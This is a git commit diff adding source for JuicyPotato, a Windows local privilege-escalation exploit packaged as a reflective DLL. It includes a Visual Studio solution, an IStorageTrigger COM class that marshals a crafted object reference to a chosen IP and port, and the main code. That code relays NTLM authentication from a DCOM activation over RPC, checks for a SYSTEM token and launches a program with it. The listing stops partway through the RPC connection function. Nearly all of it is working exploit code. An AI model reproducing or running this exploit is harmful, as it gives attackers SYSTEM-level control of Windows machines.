chore: add juicy potato reflective DLL source code
parent
d686303cff
commit
f3c40b615e
|
@ -0,0 +1,5 @@
|
||||||
|
.vs
|
||||||
|
.DS_Store
|
||||||
|
Debug/
|
||||||
|
Release/
|
||||||
|
ipch/
|
|
@ -0,0 +1,31 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 15
|
||||||
|
VisualStudioVersion = 15.0.26403.7
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "JuicyPotato", "JuicyPotato\JuicyPotato.vcxproj", "{4164003E-BA47-4A95-8586-D5AAC399C050}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Debug|x86 = Debug|x86
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
Release|x86 = Release|x86
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.ActiveCfg = Release|x64
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.Build.0 = Release|x64
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.ActiveCfg = Release|x64
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.Build.0 = Release|x64
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Build.0 = Release|x64
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {3B4F867D-2997-4A0F-A8AD-9D4729DA3439}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,41 @@
|
||||||
|
#pragma once
|
||||||
|
#include <mutex>
|
||||||
|
#include <queue>
|
||||||
|
#include "stdafx.h"
|
||||||
|
|
||||||
|
typedef std::mutex Mutex;
|
||||||
|
template<typename ITEM> class BlockingQueue{
|
||||||
|
public:
|
||||||
|
void push(const ITEM& value) { // push
|
||||||
|
std::lock_guard<Mutex> lock(mutex);
|
||||||
|
queue.push(std::move(value));
|
||||||
|
condition.notify_one();
|
||||||
|
}
|
||||||
|
bool try_pop(ITEM& value) { // non-blocking pop
|
||||||
|
std::lock_guard<Mutex> lock(mutex);
|
||||||
|
if (queue.empty()) return false;
|
||||||
|
value = std::move(queue.front());
|
||||||
|
queue.pop();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
ITEM wait_pop() { // blocking pop
|
||||||
|
std::unique_lock<Mutex> lock(mutex);
|
||||||
|
condition.wait(lock, [this] {return !queue.empty(); });
|
||||||
|
ITEM const value = std::move(queue.front());
|
||||||
|
queue.pop();
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
bool empty() const { // queue is empty?
|
||||||
|
std::lock_guard<Mutex> lock(mutex);
|
||||||
|
return queue.empty();
|
||||||
|
}
|
||||||
|
void clear() { // remove all items
|
||||||
|
ITEM item;
|
||||||
|
while (try_pop(item));
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
Mutex mutex;
|
||||||
|
std::queue<ITEM> queue;
|
||||||
|
std::condition_variable condition;
|
||||||
|
};
|
||||||
|
|
|
@ -0,0 +1,218 @@
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "IStorageTrigger.h"
|
||||||
|
#include <string>
|
||||||
|
#include <wchar.h>
|
||||||
|
|
||||||
|
extern PCSTR DEF_PORT;
|
||||||
|
extern char dcom_port[12];
|
||||||
|
extern char dcom_ip[17];
|
||||||
|
|
||||||
|
IStorageTrigger::IStorageTrigger(IStorage *istg) {
|
||||||
|
_stg = istg;
|
||||||
|
m_cRef = 1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT IStorageTrigger::DisconnectObject(DWORD dwReserved) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT IStorageTrigger::GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize) {
|
||||||
|
*pSize = 1024;
|
||||||
|
//printf("IStorageTrigger GetMarshalSizeMax\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT IStorageTrigger::GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid) {
|
||||||
|
CLSIDFromString(OLESTR("{00000306-0000-0000-c000-000000000046}"), pCid);
|
||||||
|
//printf("IStorageTrigger GetUnmarshalClass\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT IStorageTrigger::MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags) {
|
||||||
|
// Marshalling Port & Ip address of COM Server
|
||||||
|
|
||||||
|
short sec_len = 8;
|
||||||
|
int port_len = strlen(dcom_port);
|
||||||
|
char *ipaddr = dcom_ip;
|
||||||
|
unsigned short str_bindlen = ((strlen(ipaddr) + port_len + 2) * 2) + 6;
|
||||||
|
unsigned short total_length = (str_bindlen + sec_len) / 2;
|
||||||
|
unsigned char sec_offset = str_bindlen / 2;
|
||||||
|
port_len = port_len * 2;
|
||||||
|
byte data_0[] = {
|
||||||
|
0x4d,0x45,0x4f,0x57,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0xcc,0x96,0xec,0x06,0x4a,0xd8,0x03,0x07,0xac,0x31,0xce,0x9c,0x02,0x9d,0x53,0x00,0x9f,0x93,0x2c,0x04,
|
||||||
|
0xcd,0x54,0xd4,0xef,0x4b,0xbd,0x1c,0x3b,0xae,0x97,0x21,0x45
|
||||||
|
};
|
||||||
|
|
||||||
|
byte *dataip;
|
||||||
|
int len = strlen(ipaddr) * 2;
|
||||||
|
dataip = (byte *)malloc(len);
|
||||||
|
for (int i = 0; i < len; i++)
|
||||||
|
{
|
||||||
|
if (i % 2)
|
||||||
|
dataip[i] = *ipaddr++;
|
||||||
|
else
|
||||||
|
dataip[i] = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte data_4[] = { 0x00,0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0xff,
|
||||||
|
0xff, 0x00, 0x00, 0x00, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
byte data_1[4];
|
||||||
|
data_1[0] = total_length;
|
||||||
|
data_1[1] = 0;
|
||||||
|
data_1[2] = sec_offset;
|
||||||
|
data_1[3] = 0;
|
||||||
|
byte *data_3;
|
||||||
|
data_3 = (byte *)malloc((port_len));
|
||||||
|
byte *strport = (byte *)&dcom_port[0];
|
||||||
|
|
||||||
|
for (int i = 0; i < (port_len); i++)
|
||||||
|
{
|
||||||
|
if (i % 2)
|
||||||
|
data_3[i] = *strport++;
|
||||||
|
else
|
||||||
|
data_3[i] = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int size = sizeof(data_0) + sizeof(data_1) + len + 2 + 1 + port_len + sizeof(data_4);
|
||||||
|
byte * marshalbuf = (byte *)malloc(size);
|
||||||
|
int r = 0;
|
||||||
|
memcpy(&marshalbuf[r], data_0, sizeof(data_0));
|
||||||
|
r = sizeof(data_0);
|
||||||
|
memcpy(&marshalbuf[r], data_1, sizeof(data_1));
|
||||||
|
r = r + sizeof(data_1);
|
||||||
|
byte tmp1[] = { 0x07 };
|
||||||
|
memcpy(&marshalbuf[r], tmp1, 1);
|
||||||
|
r = r + 1;
|
||||||
|
memcpy(&marshalbuf[r], dataip, len);
|
||||||
|
r = r + len;
|
||||||
|
byte tmp[] = { 0x00,0x5b };
|
||||||
|
memcpy(&marshalbuf[r], tmp, 2);
|
||||||
|
r = r + 2;
|
||||||
|
memcpy(&marshalbuf[r], data_3, port_len);
|
||||||
|
r = r + (port_len);
|
||||||
|
memcpy(&marshalbuf[r], data_4, sizeof(data_4));
|
||||||
|
|
||||||
|
ULONG written = 0;
|
||||||
|
pStm->Write(&marshalbuf[0], size, &written);
|
||||||
|
free(marshalbuf);
|
||||||
|
free(dataip);
|
||||||
|
free(data_3);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT IStorageTrigger::ReleaseMarshalData(IStream *pStm) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv) {
|
||||||
|
*ppv = 0;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::Commit(DWORD grfCommitFlags) {
|
||||||
|
_stg->Commit(grfCommitFlags);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest) {
|
||||||
|
_stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg) {
|
||||||
|
_stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm) {
|
||||||
|
_stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::DestroyElement(const OLECHAR *pwcsName) {
|
||||||
|
_stg->DestroyElement(pwcsName);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum) {
|
||||||
|
_stg->EnumElements(reserved1, reserved2, reserved3, ppenum);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags) {
|
||||||
|
_stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg) {
|
||||||
|
_stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm) {
|
||||||
|
_stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::Revert() {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::SetClass(const IID &clsid) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::SetStateBits(DWORD grfStateBits, DWORD grfMask) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
HRESULT IStorageTrigger::Stat(STATSTG *pstatstg, DWORD grfStatFlag) {
|
||||||
|
_stg->Stat(pstatstg, grfStatFlag);
|
||||||
|
|
||||||
|
//Allocate from heap because apparently this will get freed in OLE32
|
||||||
|
const wchar_t c_s[] = L"hello.stg";
|
||||||
|
|
||||||
|
wchar_t *s = (wchar_t*)CoTaskMemAlloc(sizeof(c_s));
|
||||||
|
wcscpy(s, c_s);
|
||||||
|
pstatstg[0].pwcsName = s;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
///////////////////////IUknown Interface
|
||||||
|
HRESULT IStorageTrigger::QueryInterface(const IID &riid, void **ppvObj) {
|
||||||
|
// Always set out parameter to NULL, validating it first.
|
||||||
|
if (!ppvObj) {
|
||||||
|
//printf("QueryInterface INVALID\n");
|
||||||
|
return E_INVALIDARG;
|
||||||
|
}
|
||||||
|
if (riid == IID_IUnknown)
|
||||||
|
{
|
||||||
|
*ppvObj = static_cast<IStorageTrigger *>(this);
|
||||||
|
//reinterpret_cast<IUnknown*>(*ppvObj)->AddRef();
|
||||||
|
}
|
||||||
|
else if (riid == IID_IStorage)
|
||||||
|
{
|
||||||
|
*ppvObj = static_cast<IStorageTrigger *>(this);
|
||||||
|
}
|
||||||
|
else if (riid == IID_IMarshal)
|
||||||
|
{
|
||||||
|
*ppvObj = static_cast<IStorageTrigger *>(this);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
*ppvObj = NULL;
|
||||||
|
//printf("QueryInterface NOINT\n");
|
||||||
|
return E_NOINTERFACE;
|
||||||
|
}
|
||||||
|
// Increment the reference count and return the pointer.
|
||||||
|
|
||||||
|
return S_OK;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
ULONG IStorageTrigger::AddRef() {
|
||||||
|
m_cRef++;
|
||||||
|
return m_cRef;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG IStorageTrigger::Release() {
|
||||||
|
// Decrement the object's internal counter.
|
||||||
|
ULONG ulRefCount = m_cRef--;
|
||||||
|
return ulRefCount;
|
||||||
|
}
|
|
@ -0,0 +1,35 @@
|
||||||
|
#pragma once
|
||||||
|
#include "Objidl.h"
|
||||||
|
|
||||||
|
class IStorageTrigger : public IMarshal, public IStorage {
|
||||||
|
private:
|
||||||
|
IStorage *_stg;
|
||||||
|
int m_cRef;
|
||||||
|
public:
|
||||||
|
IStorageTrigger(IStorage *stg);
|
||||||
|
HRESULT STDMETHODCALLTYPE DisconnectObject(DWORD dwReserved);
|
||||||
|
HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize);
|
||||||
|
HRESULT STDMETHODCALLTYPE GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid);
|
||||||
|
HRESULT STDMETHODCALLTYPE MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags);
|
||||||
|
HRESULT STDMETHODCALLTYPE ReleaseMarshalData(IStream *pStm);
|
||||||
|
HRESULT STDMETHODCALLTYPE UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv);
|
||||||
|
HRESULT STDMETHODCALLTYPE Commit(DWORD grfCommitFlags);
|
||||||
|
HRESULT STDMETHODCALLTYPE CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest);
|
||||||
|
HRESULT STDMETHODCALLTYPE CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg);
|
||||||
|
HRESULT STDMETHODCALLTYPE CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm);
|
||||||
|
HRESULT STDMETHODCALLTYPE DestroyElement(const OLECHAR *pwcsName);
|
||||||
|
HRESULT STDMETHODCALLTYPE EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum);
|
||||||
|
HRESULT STDMETHODCALLTYPE MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags);
|
||||||
|
HRESULT STDMETHODCALLTYPE OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg);
|
||||||
|
HRESULT STDMETHODCALLTYPE OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm);
|
||||||
|
HRESULT STDMETHODCALLTYPE RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName);
|
||||||
|
HRESULT STDMETHODCALLTYPE Revert();
|
||||||
|
HRESULT STDMETHODCALLTYPE SetClass(const IID &clsid);
|
||||||
|
HRESULT STDMETHODCALLTYPE SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime);
|
||||||
|
HRESULT STDMETHODCALLTYPE SetStateBits(DWORD grfStateBits, DWORD grfMask);
|
||||||
|
HRESULT STDMETHODCALLTYPE Stat(STATSTG *pstatstg, DWORD grfStatFlag);
|
||||||
|
|
||||||
|
HRESULT STDMETHODCALLTYPE QueryInterface(const IID &riid, void **ppvObject);
|
||||||
|
ULONG STDMETHODCALLTYPE AddRef();
|
||||||
|
ULONG STDMETHODCALLTYPE Release();
|
||||||
|
};
|
|
@ -0,0 +1,601 @@
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "MSFRottenPotato.h"
|
||||||
|
#include "IStorageTrigger.h"
|
||||||
|
#include <iostream>
|
||||||
|
#include <winsock2.h>
|
||||||
|
#include <ws2tcpip.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <UserEnv.h>
|
||||||
|
#include <assert.h>
|
||||||
|
#include <tchar.h>
|
||||||
|
#include <windows.h>
|
||||||
|
#include <aclapi.h>
|
||||||
|
#include <accctrl.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <assert.h>
|
||||||
|
#include <tchar.h>
|
||||||
|
#include <WinSafer.h>
|
||||||
|
|
||||||
|
#pragma comment (lib, "Ws2_32.lib")
|
||||||
|
#pragma comment (lib, "Mswsock.lib")
|
||||||
|
#pragma comment (lib, "AdvApi32.lib")
|
||||||
|
#pragma comment(lib, "userenv.lib")
|
||||||
|
|
||||||
|
wchar_t *olestr;
|
||||||
|
wchar_t *g_port;
|
||||||
|
wchar_t *rpcserver;
|
||||||
|
wchar_t *rpcport;
|
||||||
|
char dcom_port[12];
|
||||||
|
char dcom_ip[17];
|
||||||
|
|
||||||
|
static const char VERSION[] = "0.1";
|
||||||
|
BOOL TEST_mode = FALSE;
|
||||||
|
HANDLE elevated_token, duped_token;
|
||||||
|
|
||||||
|
int PotatoAPI::newConnection;
|
||||||
|
wchar_t *processtype = NULL;
|
||||||
|
wchar_t *processargs = NULL;
|
||||||
|
wchar_t *processname = NULL;
|
||||||
|
|
||||||
|
int IsTokenSystem(HANDLE tok)
|
||||||
|
{
|
||||||
|
DWORD Size, UserSize, DomainSize;
|
||||||
|
SID *sid;
|
||||||
|
SID_NAME_USE SidType;
|
||||||
|
TCHAR UserName[64], DomainName[64];
|
||||||
|
TOKEN_USER *User;
|
||||||
|
Size = 0;
|
||||||
|
GetTokenInformation(tok, TokenUser, NULL, 0, &Size);
|
||||||
|
if (!Size)
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
User = (TOKEN_USER *)malloc(Size);
|
||||||
|
assert(User);
|
||||||
|
GetTokenInformation(tok, TokenUser, User, Size, &Size);
|
||||||
|
assert(Size);
|
||||||
|
Size = GetLengthSid(User->User.Sid);
|
||||||
|
assert(Size);
|
||||||
|
sid = (SID *)malloc(Size);
|
||||||
|
assert(sid);
|
||||||
|
|
||||||
|
CopySid(Size, sid, User->User.Sid);
|
||||||
|
UserSize = (sizeof UserName / sizeof *UserName) - 1;
|
||||||
|
DomainSize = (sizeof DomainName / sizeof *DomainName) - 1;
|
||||||
|
LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType);
|
||||||
|
free(sid);
|
||||||
|
|
||||||
|
printf("%S;%S\\%S\n", olestr, DomainName, UserName);
|
||||||
|
if (!_wcsicmp(UserName, L"SYSTEM"))
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void usage()
|
||||||
|
{
|
||||||
|
printf("JuicyPotato v%s \n\n", VERSION);
|
||||||
|
|
||||||
|
printf("Mandatory args: \n"
|
||||||
|
"-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both\n"
|
||||||
|
"-p <program>: program to launch\n"
|
||||||
|
"-l <port>: COM server listen port\n"
|
||||||
|
);
|
||||||
|
|
||||||
|
printf("\n\n");
|
||||||
|
printf("Optional args: \n"
|
||||||
|
"-m <ip>: COM server listen address (default 127.0.0.1)\n"
|
||||||
|
"-a <argument>: command line argument to pass to program (default NULL)\n"
|
||||||
|
"-k <ip>: RPC server ip address (default 127.0.0.1)\n"
|
||||||
|
"-n <port>: RPC server listen port (default 135)\n"
|
||||||
|
"-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})\n"
|
||||||
|
"-z only test CLSID and print token's user\n"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
PotatoAPI::PotatoAPI() {
|
||||||
|
comSendQ = new BlockingQueue<char*>();
|
||||||
|
rpcSendQ = new BlockingQueue<char*>();
|
||||||
|
newConnection = 0;
|
||||||
|
negotiator = new LocalNegotiator();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD PotatoAPI::startRPCConnectionThread() {
|
||||||
|
DWORD ThreadID;
|
||||||
|
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartRPCConnection, (void*)this, 0, &ThreadID);
|
||||||
|
return ThreadID;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD PotatoAPI::startCOMListenerThread() {
|
||||||
|
DWORD ThreadID;
|
||||||
|
HANDLE t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartCOMListener, (void*)this, 0, &ThreadID);
|
||||||
|
|
||||||
|
return ThreadID;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI PotatoAPI::staticStartRPCConnection(void* Param) {
|
||||||
|
PotatoAPI* This = (PotatoAPI*)Param;
|
||||||
|
return This->startRPCConnection();
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI PotatoAPI::staticStartCOMListener(void* Param) {
|
||||||
|
PotatoAPI* This = (PotatoAPI*)Param;
|
||||||
|
return This->startCOMListener();
|
||||||
|
}
|
||||||
|
|
||||||
|
int PotatoAPI::findNTLMBytes(char *bytes, int len) {
|
||||||
|
//Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.
|
||||||
|
//The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header,
|
||||||
|
//we can just return the index
|
||||||
|
char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };
|
||||||
|
int pIdx = 0;
|
||||||
|
int i;
|
||||||
|
for (i = 0; i < len; i++) {
|
||||||
|
if (bytes[i] == pattern[pIdx]) {
|
||||||
|
pIdx = pIdx + 1;
|
||||||
|
if (pIdx == 7) return (i - 6);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
pIdx = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int PotatoAPI::processNtlmBytes(char *bytes, int len) {
|
||||||
|
int ntlmLoc = findNTLMBytes(bytes, len);
|
||||||
|
if (ntlmLoc == -1) return -1;
|
||||||
|
|
||||||
|
int messageType = bytes[ntlmLoc + 8];
|
||||||
|
switch (messageType) {
|
||||||
|
case 1:
|
||||||
|
//NTLM type 1 message
|
||||||
|
negotiator->handleType1(bytes + ntlmLoc, len - ntlmLoc);
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
//NTLM type 2 message
|
||||||
|
negotiator->handleType2(bytes + ntlmLoc, len - ntlmLoc);
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
//NTLM type 3 message
|
||||||
|
negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
printf("Error - Unknown NTLM message type...");
|
||||||
|
return -1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int checkForNewConnection(SOCKET* ListenSocket, SOCKET* ClientSocket) {
|
||||||
|
fd_set readSet;
|
||||||
|
FD_ZERO(&readSet);
|
||||||
|
FD_SET(*ListenSocket, &readSet);
|
||||||
|
timeval timeout;
|
||||||
|
timeout.tv_sec = 1; // Zero timeout (poll)
|
||||||
|
timeout.tv_usec = 0;
|
||||||
|
if (select(*ListenSocket, &readSet, NULL, NULL, &timeout) == 1) {
|
||||||
|
*ClientSocket = accept(*ListenSocket, NULL, NULL);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int PotatoAPI::triggerDCOM(void)
|
||||||
|
{
|
||||||
|
CoInitialize(nullptr);
|
||||||
|
|
||||||
|
//Create IStorage object
|
||||||
|
IStorage *stg = NULL;
|
||||||
|
ILockBytes *lb = NULL;
|
||||||
|
HRESULT res;
|
||||||
|
|
||||||
|
res = CreateILockBytesOnHGlobal(NULL, true, &lb);
|
||||||
|
res = StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
|
||||||
|
|
||||||
|
//Initialze IStorageTrigger object
|
||||||
|
IStorageTrigger* t = new IStorageTrigger(stg);
|
||||||
|
|
||||||
|
CLSID clsid;
|
||||||
|
CLSIDFromString(olestr, &clsid);
|
||||||
|
CLSID tmp;
|
||||||
|
//IUnknown IID
|
||||||
|
CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp);
|
||||||
|
MULTI_QI qis[1];
|
||||||
|
qis[0].pIID = &tmp;
|
||||||
|
qis[0].pItf = NULL;
|
||||||
|
qis[0].hr = 0;
|
||||||
|
|
||||||
|
//Call CoGetInstanceFromIStorage
|
||||||
|
HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis);
|
||||||
|
|
||||||
|
fflush(stdout);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int PotatoAPI::startRPCConnection(void) {
|
||||||
|
const int DEFAULT_BUFLEN = 4096;
|
||||||
|
|
||||||
|
fflush(stdout);
|
||||||
|
WSADATA wsaData;
|
||||||
|
|
||||||
|
struct addrinfo *result = NULL,
|
||||||
|
*ptr = NULL,
|
||||||
|
hints;
|
||||||
|
|
||||||
|
char *sendbuf;
|
||||||
|
char recvbuf[DEFAULT_BUFLEN];
|
||||||
|
int iResult;
|
||||||
|
int recvbuflen = DEFAULT_BUFLEN;
|
||||||
|
|
||||||
|
// Initialize Winsock
|
||||||
|
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||||
|
if (iResult != 0) {
|
||||||
|
printf("WSAStartup failed with error: %d\n", iResult);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
ZeroMemory(&hints, sizeof(hints));
|
||||||
|
hints.ai_family = AF_UNSPEC;
|
||||||
|
hints.ai_socktype = SOCK_STREAM;
|
||||||
|
hints.ai_protocol = IPPROTO_TCP;
|
||||||
|
|
||||||
|
// Resolve the server address and port
|
||||||
|
char myhost[24];
|
||||||
|
char myport[12];
|
||||||
|
|
||||||
|
if (rpcserver != NULL) {
|
||||||
|
memset(myhost, 0, 24);
|
||||||
|
wcstombs(myhost, rpcserver, 24);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
strcpy(myhost, "127.0.0.1");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (rpcport != NULL) {
|
||||||
|
memset(myport, 0, 12);
|
||||||
|
wcstombs(myport, rpcport, 12);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
strcpy(myport, "135");
|
||||||
|
}
|
||||||
|
|
||||||
|
iResult = getaddrinfo(myhost, myport, &hints, &result);
|
||||||
|
if (iResult != 0) {
|
||||||
|
printf("getaddrinfo failed with error: %d\n", iResult);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Attempt to connect to an address
|
||||||
|
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
|
||||||
|
// Create a SOCKET for connecting to server
|
||||||
|
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
|
||||||
|
if (ConnectSocket == INVALID_SOCKET) {
|
||||||
|
printf("socket failed with error: %ld\n", WSAGetLastError());
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
